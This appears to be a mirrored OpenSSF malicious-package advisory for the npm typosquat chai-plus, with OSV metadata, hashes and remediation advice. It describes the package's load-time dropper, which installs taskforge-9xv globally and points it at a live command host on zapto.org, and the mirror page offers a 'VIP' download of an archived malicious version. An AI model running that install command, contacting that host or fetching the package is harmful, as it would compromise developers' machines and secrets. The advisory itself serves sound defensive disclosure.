MAL-2026-14533Malicious code in chai-plus (npm)
| 版本 | 状态 | 大小 | SHA-256 | 获取方式 |
|---|---|---|---|---|
6.2.3 | unavailable | — | — | — |
6.2.4 | unavailable | — | — | — |
6.2.5 | archived | — | — | VIP 下载 |
| Ecosystem | Package | Version |
|---|---|---|
| npm | chai-plus | * |
| npm | chai-plus | 6.2.3 |
| npm | chai-plus | 6.2.4 |
| npm | chai-plus | 6.2.5 |
{"schema_version":"1.7.4","id":"MAL-2026-14533","published":"2026-08-26T14:18:49Z","modified":"2026-08-26T18:07:07.055527870Z","aliases":["GHSA-2r27-f59g-4hcx"],"summary":"Malicious code in chai-plus (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b91b222013b099c570003ced5265988a19121921b071ee183cdbe304e2b020d9)\nOn require('chai-plus'), a top-level IIFE in lib/index.js unconditionally invokes Bootstrap.execute(), which spawns `npm install -g taskforge-9xv@1.3.0` and then executes `taskforge-9xv` with hardcoded arguments `--origin-server http://coolblast.zapto.org:8888/api/x-handler` and a hardcoded auth token. The destination is a dynamic-DNS host (zapto.org) over plain HTTP, unrelated to the package's advertised purpose as a zero-dependency assertion library. Comments in lib/bootstrap.js state the operation is 'user-invoked' and 'NOT automatic', contradicting the actual auto-execution at module load; errors from the dropper are silently swallowed. The package name resembles the popular `chai` assertion library, broadening the pool of developers likely to install it.\n\n## Source: ghsa-malware (f1212f91b37547d0955da07335f4bb1fed958261d3f4136c19d32976fda4e1fd)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"chai-plus","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["6.2.5","6.2.3","6.2.4"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"lib/index.js","sha256":"597fd8fa06ff95b7cddf56aea33c08cfc22a60f809b2d75f682bbdc21d84c757","tlsh":"4cb185c5a3662592427673f5eb56c02aff67c42bb0248060bfdcc2925f3560046a6ff9"},{"path":"lib/bootstrap.js","sha256":"c8ded1a46436aff9345c113a4b254bdfee6cbeb02bf2bfa3cf4a85c454c6b746","tlsh":"bef1410913f752f54972637fee234029db26722b921182ec7eae96015f722209493ff6"}],"package_integrity":[{"filename":"chai-plus-6.2.5.tgz","hashes":{"sha1":"88862e8f0166b2c36a9fbfe5edff73f14d779adc","sha512_sri":"sha512-U8rEuEzhHt/7tacsV6a0qkVHY5mIlHxbO3tr4yPJ+0gcqlEVy1dv2rdIm9jEzpFNoC/4mBP5PEDWjGGYW0knrg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/chai-plus/v/6.2.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/chai-plus/v/6.2.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/chai-plus/v/6.2.4"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2r27-f59g-4hcx"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018755","import_time":"2026-08-26T14:20:37.093376793Z","modified_time":"2026-08-26T14:18:49Z","sha256":"814bd37de483f00f1ed90e1ec9126328afd49edcd0196400c1ef544fc2195589","source":"amazon-inspector","versions":["6.2.5"]},{"id":"IN-MAL-2026-018758","import_time":"2026-08-26T14:20:37.224216101Z","modified_time":"2026-08-26T14:19:16Z","sha256":"b91b222013b099c570003ced5265988a19121921b071ee183cdbe304e2b020d9","source":"amazon-inspector","versions":["6.2.3"]},{"id":"IN-MAL-2026-018757","import_time":"2026-08-26T14:20:37.182553605Z","modified_time":"2026-08-26T14:19:07Z","sha256":"d71634ace1c06c52aef34bc1a5d78f107c762aa320ac91bafbf5deff6e09c0f1","source":"amazon-inspector","versions":["6.2.4"]},{"id":"GHSA-2r27-f59g-4hcx","import_time":"2026-08-26T18:05:18.55077431Z","modified_time":"2026-08-26T16:56:27Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"f1212f91b37547d0955da07335f4bb1fed958261d3f4136c19d32976fda4e1fd","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0